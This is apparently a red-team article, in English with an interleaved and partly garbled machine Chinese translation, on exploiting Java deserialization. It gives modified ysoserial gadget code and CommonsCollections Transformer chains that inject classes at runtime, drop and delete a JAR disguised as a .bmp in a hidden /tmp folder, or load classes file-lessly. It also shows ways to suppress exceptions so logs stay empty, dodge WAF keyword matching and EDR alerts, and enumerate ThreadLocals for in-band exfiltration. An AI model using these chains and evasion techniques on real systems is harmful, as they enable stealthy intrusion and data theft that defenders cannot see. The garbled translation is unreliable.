During a red team engagement, we faced Java applications exposed on the internet and affected by arbitrary deserialization from user-supplied data. After quickly identifying a well-known gadget chain, we noticed that a WAF was rejecting requests exploiting the vulnerability by detecting specific patterns of the serialized chain, and that an EDR caught our first exploit. Moreover, firewalls were strictly filtering outbound traffic, including DNS. This article will present a few tricks regarding the gadgets that were used to exploit the same vulnerability on other similar targets, which allowed us to exfiltrate data from the compromised applications without being noticed.
在一次红队参与期间,我们遇到了 Java 应用程序暴露在互联网上,并受到用户提供的数据的任意反序列化的影响。在快速识别出一个众所周知的小工具链后,我们注意到一个 WAF 通过检测序列化链的特定模式来拒绝利用该漏洞的请求,并且 EDR 捕获了我们的第一个漏洞。此外,防火墙严格过滤出站流量,包括DNS。本文将介绍一些有关用于在其他类似目标上利用相同漏洞的小工具的技巧,这些小工具使我们能够在不被注意的情况下从受感染的应用程序中窃取数据。
Introduction 介绍
以下文章已经介绍了不受信任的数据和 Java 小工具链的任意反序列化:
- Finding gadgets like it’s 2015 (part 1, part 2)
寻找像 2015 年这样的小工具(第 1 部分、第 2 部分) - Finding gadgets like it’s 2022
寻找像 2022 年这样的小工具 - Java Exploitation Restrictions in Modern JDK Times
现代 JDK 时代的 Java 开发限制
This article will cover some tips and tricks that could be applied once a gadget chain leading to RCE (Remote Code Execution) has been identified on a vulnerable application, with the main objective being to make the exploit stealthier.
本文将介绍一些技巧和窍门,一旦在易受攻击的应用程序上识别出导致 RCE(远程代码执行)的小工具链,就可以应用这些技巧和窍门,主要目的是使漏洞利用更具隐蔽性。
Avoiding naive WAFs 避免幼稚的 WAF
First, as general advice, it is better to avoid being detected by static patterns. During engagements, we noticed WAFs (Web Application Firewalls) detecting specific words inside the serialized gadget chain, such as:
首先,作为一般建议,最好避免被静态模式检测到。在参与期间,我们注意到 WAF(Web 应用程序防火墙)检测序列化小工具链中的特定单词,例如:
-
Runtime
-
Process
-
exec
-
shell
-
ysoserial
The first step is to recompile Java projects generating the gadget chains once the modules, packages and class names have been renamed. Then, the gadget chains should be slightly modified to avoid directly calling built-in classes or methods which are detected as they are commonly used, such as:
第一步是重新编译 Java 项目,在重命名模块、包和类名后生成小工具链。然后,应稍微修改小工具链,以避免直接调用常用的内置类或方法,例如:
Runtime.getRuntime().exec("whoami")
Additionally, strings used to create random class names using JavaAssist
in ysoserial should not be forgotten as they could also be detected by security solutions:
此外,不应忘记用于在 ysoserial 中使用 JavaAssist
创建随机类名的字符串,因为它们也可以被安全解决方案检测到:
// src/main/java/ysoserial/payloads/util/Gadgets.java
// [...]
106 public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
107 throws Exception {
108 final T templates = tplClass.newInstance();
// [...]
122 clazz.setName("ysoserial.Pwner" + System.nanoTime()); //HERE
123 CtClass superC = pool.get(abstTranslet.getName());
124 clazz.setSuperclass(superC);
// [...]
133 // required to make TemplatesImpl happy
134 Reflections.setFieldValue(templates, "_name", "Pwnr"); // HERE
135 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
136 return templates;
137 }
// [...]
Injecting custom classes at runtime
在运行时注入自定义类
Nowadays, servers hosting application backends may often be monitored by an EDR (Endpoint Detection and Response), and child processes created from Java may raise alerts. As a result, basic payloads executing arbitrary commands will be detected. A simple method to avoid it would be to only inject Java code at runtime that performs the required operations, such as reading and writing to files, or exploiting services reachable from the underlying server.
如今,托管应用程序后端的服务器通常可能受到 EDR(端点检测和响应)的监控,并且从 Java 创建的子进程可能会引发警报。因此,将检测到执行任意命令的基本有效负载。避免这种情况的一种简单方法是仅在运行时注入执行所需操作的 Java 代码,例如读取和写入文件,或利用可从底层服务器访问的服务。
FROM THE TRANSLET API
从 TRANSLET API
Usually, the ysoserial tool can be used to generate gadget chains, and almost all the known chains use the same last part: serializable classes which are inside the JDK internal modules and offer powerful primitives. Indeed, the java.xml
internal module contains an XSLT compiler (Translet
API and TrAX
), in the com.sun.org.apache.xalan
package that somehow has the capability to inject Java classes at runtime from their bytecode. Moreover, this code is reachable from a simple getter which is the key component of several gadget chains, such as CommonsBeanutils1.
通常,ysoserial 工具可用于生成小工具链,几乎所有已知的链都使用相同的最后一部分:可序列化类,这些类位于 JDK 内部模块中并提供强大的原语。事实上, java.xml
内部模块在 com.sun.org.apache.xalan
包中包含一个 XSLT 编译器( Translet
API 和 TrAX
),该编译器以某种方式能够在运行时从其字节码注入 Java 类。此外,此代码可以从一个简单的 getter 访问,该 getter 是几个小工具链的关键组件,例如 CommonsBeanutils1。
These gadget chains would generally achieve arbitrary code execution by loading a custom class at runtime, which contains a static initialization block where arbitrary Java code is executed during the class initialization. The easiest way to inject custom Java code at runtime from this API, instead of directly running plain shell commands, is to slightly modify the Gadgets class of ysoserial. For example, the following patch could be applied to directly supply Java code on the tool arguments:
这些小工具链通常通过在运行时加载自定义类来实现任意代码执行,该类包含一个静态初始化块,在类初始化期间执行任意 Java 代码。在运行时从此 API 注入自定义 Java 代码(而不是直接运行纯 shell 命令)的最简单方法是稍微修改 ysoserial 的 Gadgets 类。例如,可以应用以下补丁来直接在工具参数上提供 Java 代码:
diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java
index d4cd783..100a32a 100644
--- a/src/main/java/ysoserial/payloads/util/Gadgets.java
+++ b/src/main/java/ysoserial/payloads/util/Gadgets.java
@@ -103,7 +103,7 @@ public class Gadgets {
}
- public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+ public static <T> T createTemplatesImpl ( final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
@@ -114,10 +114,7 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
- String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
- command.replace("\\", "\\\\").replace("\"", "\\\"") +
- "\");";
- clazz.makeClassInitializer().insertAfter(cmd);
+ clazz.makeClassInitializer().insertAfter(code);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
However, this API could also be used to make the Template
class define several classes, which could be more convenient as this would allow implementing interfaces required to interact with specific classes, for post-exploitation purposes or to persist at runtime. This should work as long as the dependencies used by such classes are already loaded at runtime, such as the Spring web framework for instance.
但是,此 API 也可用于使 Template
类定义多个类,这可能更方便,因为这将允许实现与特定类交互所需的接口,用于后期开发目的或在运行时持久化。只要这些类使用的依赖项已经在运行时加载,例如Spring Web框架,这应该可以工作。
Indeed, the TemplatesImpl class can be used to define several classes in a raw, from the _bytecodes
field:
事实上,TemplatesImpl 类可用于定义原始字段中的多个类 _bytecodes
:
// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
// [...]
454 /**
455 * Defines the translet class and auxiliary classes.
456 * Returns a reference to the Class object that defines the main class
457 */
458 private void defineTransletClasses()
459 throws TransformerConfigurationException {
// [...]
467 TransletClassLoader loader =
468 AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
469 public TransletClassLoader run() {
470 return new TransletClassLoader(ObjectFactory.findClassLoader(),
471 _tfactory.getExternalExtensionsMap());
472 }
473 });
// [...]
516 for (int i = 0; i < classCount; i++) {
517 _class[i] = loader.defineClass(_bytecodes[i], pd);
518 final Class<?> superClass = _class[i].getSuperclass();
519
520 // Check if this is the main class
521 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
522 _transletIndex = i;
523 }
524 else {
525 _auxClasses.put(_class[i].getName(), _class[i]);
526 }
527 }
// [...]
542 }
// [...]
Importing a JAR file while generating the TemplatesImpl
instance can be performed by adding the following snippet inside the Gadgets class of ysoserial:
在生成 TemplatesImpl
实例时导入 JAR 文件可以通过在 ysoserial 的 Gadgets 类中添加以下代码片段来执行:
// [...]
private static <T> T createClassTemplatesImplFromJar(final String jarFilePath, Class<T> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
final T templates = tplClass.newInstance();
JarFile jarFile = new JarFile(new File(jarFilePath), false);
String mainClass = jarFile.getManifest().getMainAttributes().getValue("Main-Class");
if(mainClass == null)
throw new IllegalArgumentException("No Main-Class manifest value found.");
mainClass = mainClass.replace("\\", "\\\\")
.replace("\"", "\\\"");
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
// run main method of main-class in static initializer
String initializer = "Class.forName(\""+mainClass+"\")" +
".getMethod(\"main\", new Class[]{String[].class})" +
".invoke(null, new Object[]{new String[0]});";
clazz.makeClassInitializer().insertAfter(initializer);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
// create bytecodes from .class files
List<byte[]> bytecodesList = new ArrayList<>();
for (Enumeration<JarEntry> en = jarFile.entries(); en.hasMoreElements(); ) {
JarEntry entry = en.nextElement();
if(!entry.getName().endsWith(".class")) continue;
InputStream is = jarFile.getInputStream(entry);
bytecodesList.add(IOUtils.readFully(is, (int) entry.getSize()));
}
final byte[][] bytecodes = new byte[bytecodesList.size() + 2][];
int i = 0;
for (byte[] code : bytecodesList) {
bytecodes[i] = code;
++i;
}
bytecodes[i++] = clazz.toBytecode();
bytecodes[i] = ClassFiles.classAsBytes(Gadgets.Foo.class);
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", bytecodes);
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory
.newInstance());
return templates;
}
public static Object createClassTemplatesImplFromJar(final String jarFilePath) throws Exception {
return createClassTemplatesImplFromJar(jarFilePath,
TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
// [...]
The createClassTemplatesImplFromJar
method can then be used to generate the TemplateImpl
instance on existing gadgets when needed.
然后,该 createClassTemplatesImplFromJar
方法可用于在需要时在现有小工具上生成 TemplateImpl
实例。
However, injecting an entire JAR file twice would have no effect as the same classes will not be defined twice in the same ClassLoader
and the first version of each class will be kept. Additionally, one should take care of OutOfMemory
exceptions raised when the PermGen
memory area is full, as mentioned by the ysoserial author frohoff, that could occur when defining a lot of new classes.
但是,注入整个 JAR 文件两次不会产生任何影响,因为相同的类不会在同一 ClassLoader
文件中定义两次,并且每个类的第一个版本将保留。此外,正如 ysoserial 作者 frohoff 所提到的,当 PermGen
内存区域已满时,应该注意出现的 OutOfMemory
异常,这在定义许多新类时可能会发生。
FROM COMMONSCOLLECTIONS TRANSFORMER CHAINS
来自 COMMONSCOLLECTIONS 变压器链
Other gadget chains exploit different powerful primitives offered by permissive libraries, such as CommonsCollections with Transformer
chains. If the targeted application has a vulnerable CommonsCollections
dependency, it could be exploited without relying on the internal Translets
, which can be removed from specific Java runtimes, or cannot be used from unnamed modules since JDK 16, as explained in this great article from CODE WHITE.
其他小工具链利用宽松库提供的不同强大原语,例如带有 Transformer
链的 CommonsCollections。如果目标应用程序具有易受攻击 CommonsCollections
的依赖项,则可以在不依赖内部 Translets
的情况下利用它,内部可以从特定的 Java 运行时中删除,或者不能从 JDK 16 以来的未命名模块中使用,正如 CODE WHITE 的这篇精彩文章中所解释的那样。
Unfortunately during our engagement, the internal Translets
were not reachable from the vulnerable applications so we used one of the techniques described below.
不幸的是,在我们的参与过程中,无法从易受攻击的应用程序访问内部 Translets
,因此我们使用了下面描述的技术之一。
Depending on the context, two methods can be used. The first one uses URLClassLoader
and is not file-less, whereas the other one uses another internal class but is file-less. However, both methods could be limited if the application is running within a Java Security Manager.
根据上下文,可以使用两种方法。第一个使用 URLClassLoader
并且不是无文件的,而另一个使用另一个内部类,但不是无文件的。但是,如果应用程序在 Java 安全管理器中运行,则这两种方法都可能受到限制。
Existing CommonsCollections
gadgets already use Transformer
chains, mainly to inject a custom class using Translets, or to execute arbitrary commands:
现有的 CommonsCollections
小工具已经使用 Transformer
链,主要是使用 Translets 注入自定义类,或执行任意命令:
// src/main/java/ysoserial/payloads/CommonsCollections1.java
// [...]
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
// [...]
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
// [...]
}
These chains allow performing several powerful operations, by combining several Transformer
functors:
- Define constants made of serializable types or scalars, by using a
ConstantsTransformer
:
new ConstantTransformer(File.class);
- Iterate over several
Transformers
with aChainedTransformer
, by providing, as the first parameter of the nextTransformer
, the result of the previousTransformer
.
用 遍历几个Transformers
,方法是提供前Transformer
一个 的结果作为下一个Transformer
的第一个ChainedTransformer
参数。 - Call an arbitrary method of an existing class, by using an
InvokerTransformer
. This also works for static methods, but requires callinggetMethod
to lookup the static method to invoke:
通过使用InvokerTransformer
.这也适用于静态方法,但需要调用getMethod
以查找要调用的静态方法:
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] })
};
- Instantiate a class, by using an
InstantiateTransformer
:
实例化类,使用:InstantiateTransformer
new Transformer[] {
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/etc/passwd"}
),
};
- Iterate over several
Transformers
, by keeping the same first parameter. To do so, aClosureTransformer
, should be parameterized with aChainedClosure
, itself parameterized with aTransformerClosure
array. This construct allows multiple methods to be called on a single instance if it is included inside a mainChainedTransformer
. Closures are useful, for example, to make a static field or method accessible (i.e. to make itpublic
even if its visibility was initiallyprotected
orprivate
), and then, to get or invoke it:
通过保留相同的第一个参数来遍历多个Transformers
。为此,ClosureTransformer
应使用 参数ChainedClosure
化 ,本身应使用TransformerClosure
数组参数化。此构造允许在单个实例上调用多个方法(如果它包含在 mainChainedTransformer
.例如,闭包很有用,可以使静态字段或方法可访问(即public
即使其可见性最初是protected
或private
),然后获取或调用它:
new Transformer[] {
new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
new InvokerTransformer("getDeclaredField",
new Class[]{ String.class },
new Object[]{"theUnsafe"}
),
new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
"setAccessible",
new Class[]{ boolean.class },
new Object[]{ true }
))),
new InvokerTransformer("get",
new Class[]{ Object.class },
new Object[]{ null }
)
};
There are also functors that provide control-flow capabilities (e.g. IfClosure
, ForClosure
, SwitchTransformer
, WhileClosure
).
还有一些函子提供控制流功能(例如 IfClosure
,、 ForClosure
、 SwitchTransformer
WhileClosure
、.
The only limitation of these chains is that it is not possible to provide non-serializable parameters to the methods or to the constructors.
这些链的唯一限制是无法向方法或构造函数提供不可序列化的参数。
Instantiating URLClassLoader from Transformers
从 Transformer 实例化 URLClassLoader
This kind of chains can be modified to actually write a new JAR file on disk, then load a class from it using an URLClassLoader
, and to delete the file.
可以修改这种链,以在磁盘上实际写入一个新的 JAR 文件,然后使用 URLClassLoader
从中加载类,并删除该文件。
For example, the following chain will create a folder in /tmp/
, store the JAR file inside it, and load a class from it:
例如,以下链将在 /tmp/
中创建一个文件夹,将 JAR 文件存储在其中,并从中加载一个类:
String uniqueKey = System.nanoTime() + "";
String mainClassName = "TestClass" + uniqueKey;
byte[] jarBytes = FileUtils.readFileToByteArray(new File(jarFilePath));
final Transformer[] transformers = new Transformer[]{
// create a temp folder
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/"}
),
new InvokerTransformer("mkdirs",
new Class[]{}, new Object[]{}),
// write the JAR file in it
new ConstantTransformer(FileOutputStream.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
),
new InvokerTransformer("write",
new Class[]{byte[].class}, new Object[]{jarBytes}),
// create the URLClassLoader, load the class, and instantiate it
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(new Class[]{
URL[].class}, new Object[]{new URL[]{
new URL("file:///tmp/.cache_" + uniqueKey + "/save.bmp")}}
),
new InvokerTransformer("loadClass",
new Class[]{String.class}, new Object[]{mainClassName}),
new InstantiateTransformer(
new Class[]{},
new Object[]{}
),
// delete the JAR file
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
),
new InvokerTransformer("delete",
new Class[]{}, new Object[]{}),
// delete the folder
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/tmp/.cache_" + uniqueKey + "/"}
),
new InvokerTransformer("delete",
new Class[]{}, new Object[]{}),
};
Calling Unsafe from Transformers
从 Transformer 调用不安全
A chain can be created to define an anonymous class using sun.misc.Unsafe
. This only allows defining a single class at a time, but can be useful as it is file-less. Moreover, this single class could be used to implement a custom ClassLoader
that would define all the required classes later.
可以使用 sun.misc.Unsafe
创建链来定义匿名类。这一次只允许定义一个类,但它是无文件的,所以很有用。此外,这个单一类可用于实现一个自定义,该自定义 ClassLoader
将在以后定义所有必需的类。
The following chain sets the theUnsafe
field accessible using a Closure
, retrieves its value, calls the defineAnonymousClass
method on it, and creates a new instance of the returned class:
以下链设置可访问的 theUnsafe
字段 Closure
,检索其值,调用其 defineAnonymousClass
方法,并创建返回类的新实例:
byte[] classBytes = FileUtils.readFileToByteArray(new File("CustomClass.class"));
new Transformer[]{
new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
new InvokerTransformer("getDeclaredField",
new Class[]{ String.class },
new Object[]{"theUnsafe"}
),
new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
"setAccessible",
new Class[]{ boolean.class },
new Object[]{ true }
))),
new InvokerTransformer("get",
new Class[]{ Object.class },
new Object[]{ null }
),
new InvokerTransformer("defineAnonymousClass",
new Class[]{ Class.class, byte[].class, Object[].class },
new Object[] { String.class, classBytes, new Object[0] }
),
new InvokerTransformer("newInstance",
new Class[0], new Object[0]
)
};
Instantiating ByteArrayClassLoader from Transformers
从 Transformer 实例化 ByteArrayClassLoader
The ByteArrayClassLoader
class from the byte-buddy dependency is also helpful in defining arbitrary classes, because it offers a custom public ClassLoader
which can be used without patching fields:
byte-buddy 依赖项中的 ByteArrayClassLoader
类在定义任意类时也很有帮助,因为它提供了一个自定义公共, ClassLoader
可以在不修补字段的情况下使用:
Map<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", Files.readAllBytes(Path.of("SampleClass.class")));
new ByteArrayClassLoader(null, definitions)
.loadClass("SampleClass")
.newInstance();
Or as follows, inside a Transformer
chain:
或者如下所示,在 Transformer
链中:
HashMap<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", FileUtils.readFileToByteArray(new File("SampleClass.class")));
new Transformer[]{
new ConstantTransformer(Class.forName("net.bytebuddy.dynamic.loading.ByteArrayClassLoader")),
new InstantiateTransformer(
new Class[]{ ClassLoader.class, Map.class },
new Object[] { null, defs }
),
new InvokerTransformer("loadClass",
new Class[]{ String.class },
new Object[]{ "SampleClass" }
),
new InvokerTransformer("newInstance",
new Class[0], new Object[0]
)
};
However, is this dependency frequently used? It seems it is included in some projects:
- Selenium Java
- Hibernate Core
- HikariCP (if the
Hibernate-Core
optional dependency is enabled)
Making gadgets stealthier
Most gadgets will trigger exceptions if they are not properly built. To make payloads stealthier, it is necessary to deeply understand the code flow to make the process of gadget deserialization going smooth, and error logs empty.
TRANSLETS
When gadgets generated using ysoserial are deserialized, the following exception is thrown just after defining the new arbitrary class:
Caused by: java.lang.NullPointerException: null
at java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:375) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:557) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584) ~[na:na]
| ... 120 common frames omitted
This exception is actually thrown from the postInitialization
method of the AbstractTranslet
class:
// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet.java
// [...]
public final void postInitialization() {
if (this.transletVersion < 101) {
int arraySize = this.namesArray.length;// Exception thrown here
String[] newURIsArray = new String[arraySize];
String[] newNamesArray = new String[arraySize];
int[] newTypesArray = new int[arraySize];
// [...]
this.namesArray = newNamesArray;
this.urisArray = newURIsArray;
this.typesArray = newTypesArray;
}
if (this.transletVersion > 101) {
BasisLibrary.runTimeError("UNKNOWN_TRANSLET_VERSION_ERR", this.getClass().getName());
}
}
// [...]
In order to avoid this error, one of the following statements can be added to the custom Translet
constructor:
为了避免此错误,可以将以下语句之一添加到自定义 Translet
构造函数中:
- Initializing the
namesArray
field with an empty array:
使用空数组初始化namesArray
字段:
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");
- Setting the
transletVersion
field to more than100
:
将transletVersion
字段设置为大于100
:
clazz.getConstructors()[0].setBody("this.transletVersion = 101;");
It should also be noted that when internal modules are used, recent JVMs will complain the first time an internal module is accessed from an unnamed module:
还应该注意的是,当使用内部模块时,最新的 JVM 会在第一次从未命名的模块访问内部模块时抱怨:
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.commons.collections4.functors.InvokerTransformer (jar:file:app.jar!/BOOT-INF/lib/commons-collections4-4.0.jar!/) to method com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
WARNING: Please consider reporting this to the maintainers of org.apache.commons.collections4.functors.InvokerTransformer
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
This message is written to stderr
by default and could be avoided by closing stderr
, but we did not find methods that could be used to hide it completely. Nonetheless, this it is often displayed legitimately when complex Java applications are starting.
默认情况下,此消息是写入的 stderr
,可以通过关闭 stderr
来避免,但我们没有找到可用于完全隐藏它的方法。尽管如此,当复杂的 Java 应用程序启动时,它通常会合法地显示。
COMMONSCOLLECTIONS 共享资源
In order not to throw exceptions because the last element returned from Transformer
chains is not Comparable
, CommonsCollections
gadgets could be modified to return a constant String
:
为了不抛出异常,因为从 Transformer
链返回的最后一个元素不是 Comparable
, CommonsCollections
可以修改小工具以返回一个常量 String
:
public class CommonsCollections2 implements ObjectPayload<Serializable> {
public Serializable getObject(final String javaClassPath) throws Exception {
// [...]
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
transformer,
new ConstantTransformer("") // HERE
/* Always return a String at the end,
* which is a base type and
* is Comparable (removes all thrown exceptions)
*/
});
// [...]
}
COMMONSBEANUTILS1
Once the getOutputProperties method of the TemplatesImpl
internal class has been called by the BeansComparator
created for the CommonsBeanutils1 gadget chain, an exception is thrown because the returned objects do not implement the Comparable
interface.
一旦为 CommonsBeanutils1 小工具链创建了 TemplatesImpl
内部类的 getOutputProperties 方法,就会引发异常,因为返回的对象没有实现接口 Comparable
。 BeansComparator
In order to suppress such exceptions, an instance of the serializable and internal NullComparator class can be provided to the BeansComparator
constructor:
为了抑制此类异常,可以向 BeansComparator
构造函数提供可序列化和内部 NullComparator 类的实例:
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String filePath) throws Exception {
final Object templates = Gadgets.createClassTemplatesImplFromJar(filePath);
//NullComparator implements Comparator<?> and Serializable
Constructor<?> nullComparatorConstructor = Reflections
.getFirstCtor("java.util.Comparators$NullComparator");
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor
.newInstance(true, null);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit", nullComparator);
// [...]
}
As this comparator does not attempt to cast elements to Comparable
, no exception will be thrown during the deserialization process.
ENCLOSING GADGETS INSIDE A REAL OBJECT
Once the final gadget is constructed (e.g. inside CommonsCollections4.java::getObject
), it is possible to hide the gadget chain inside an instance of any class.
For example, if the underlying application expects a specific Serializable
type, it is possible to redeclare it and add an internal Object
field which will contain the gadget, because there are no constraint on it (see FieldValues implementation).
For example, if an application has the following vulnerable code:
CustomResult res = (CustomResult)ois.readObject();
System.out.println(res.result+1);
With the following CustomResult
class:
package my.app;
class CustomResult {
public final int result;
public CustomResult(int res) {this.result = res;}
}
It is possible to redeclare the same class manually on the Java project that generates the gadget chain (e.g. inside ysoserial) to add an arbitrary object that will include the gadget to trigger the chain (the constructor is only used on the project generating the serialized chain), as long as the same serialVersionUID
is defined:
可以在生成小工具链的 Java 项目上手动重新声明相同的类(例如在 ysoserial 内部),以添加一个任意对象,该对象将包含用于触发链的小工具(构造函数仅用于生成序列化链的项目),只要定义相同 serialVersionUID
:
package my.app;
class CustomResult implements Serializable {
private final long serialVersionUID = XL; //needs to be adapted from the existing generated UID
private Object ignoredObject;
public final int result;
public CustomResult(Object gadget) {
this.result = 1337;
this.ignoredObject = gadget;
}
}
Then, the return
statement of an existing gadget chain just has to be modified:
然后,只需修改现有小工具链 return
的语句:
public Object getObject(final String arg) throws Exception {
// [...]
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(chain));
// stub data for replacement later
queue.add(1);
queue.add(1);
// [...]
return new my.app.CustomResult(queue); // HERE
}
Once generated and sent to the application, the serialized gadget chain should trigger and no exception should be raised by the application, as an instance of the expected type is received.
生成并发送到应用程序后,序列化小工具链应触发,并且应用程序不应引发异常,因为接收到预期类型的实例。
Exfiltrating data 泄露数据
As outgoing connections and DNS requests may be filtered, it is better to find methods that would allow exfiltrating data from the compromised applications.
由于传出连接和 DNS 请求可能会被过滤,因此最好找到允许从受感染应用程序中泄露数据的方法。
These methods generally reuse the web application’s environment to return data in the response related to the current HTTP request. Web environments vary depending on the targeted application, but common ones include:
这些方法通常重用 Web 应用程序的环境,以在与当前 HTTP 请求相关的响应中返回数据。Web 环境因目标应用程序而异,但常见的环境包括:
- Javax Faces Javax 面孔
- Spring 春天
In order to find such methods, the following generic approach can be adopted:
为了找到这样的方法,可以采用以下通用方法:
- Read the web framework’s documentation, as well as the one of the embedded web server.
阅读 Web 框架的文档,以及嵌入式 Web 服务器的文档。 - Read their source code or analyze their JAR files in order to find how the current HTTP request and its response are handled and stored.
读取他们的源代码或分析他们的 JAR 文件,以了解如何处理和存储当前的 HTTP 请求及其响应。 - Analyze references stored on the current thread. In Java, the current thread usually holds the current state of web applications on a ThreadLocal map. Variables stored inside it are named
ThreadLocals
.
分析存储在当前线程上的引用。在 Java 中,当前线程通常保存 ThreadLocal 映射上 Web 应用程序的当前状态。存储在其中的变量命名为ThreadLocals
。
ANALYZING THREADLOCALS 分析 THREADLOCALS
In order to analyze ThreadLocals
stored on the current thread, specific fields should be set accessible (i.e public
) using the Reflection
API. Then, the ThreadLocalMap
entries could be enumerated:
为了分析 ThreadLocals
存储在当前线程上的内容,应使用 Reflection
API 将特定字段设置为可访问(即 public
)。然后,可以枚举这些 ThreadLocalMap
条目:
Thread t = Thread.currentThread();
java.lang.reflect.Field fThreadLocals = Thread.class
.getDeclaredField("threadLocals");
fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class
.forName("java.lang.ThreadLocal$ThreadLocalMap")
.getDeclaredField("table");
fTable.setAccessible(true);
if(fThreadLocals.get(t) == null) return;
Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class
.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
.getDeclaredField("value");
fValue.setAccessible(true);
int length = java.lang.reflect.Array.getLength(table);
for (int i=0; i < length; ++i) {
Object entry = java.lang.reflect.Array.get(table, i);
if(entry == null) continue;
Object value = fValue.get(entry);
if(value == null) continue;
if (value instanceof java.lang.ref.WeakReference) {
value = ((java.lang.ref.WeakReference) value).get();
}
if(value == null) continue;
if (value instanceof java.lang.ref.SoftReference) {
value = ((java.lang.ref.SoftReference) value).get();
}
if(value == null) continue;
System.out.println(value.getClass() + " => " + value.toString());
}
If the previous snippet is executed on a Javax Faces application, the following ThreadLocals
are printed:
如果在 Javax Faces 应用程序上执行上一个代码段,那么将打印以下内容 ThreadLocals
:
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class java.util.concurrent.ThreadLocalRandom => java.util.concurrent.ThreadLocalRandom@3b04c8e9
class com.sun.faces.application.ApplicationAssociate => com.sun.faces.application.ApplicationAssociate@37225744
class java.lang.StringCoding$StringDecoder => java.lang.StringCoding$StringDecoder@41d82a29
class sun.nio.cs.UTF_8$Encoder => sun.nio.cs.UTF_8$Encoder@693220b9
class java.lang.StringCoding$StringEncoder => java.lang.StringCoding$StringEncoder@5a0287a3
class com.sun.xml.internal.stream.util.BufferAllocator => com.sun.xml.internal.stream.util.BufferAllocator@36bf1523
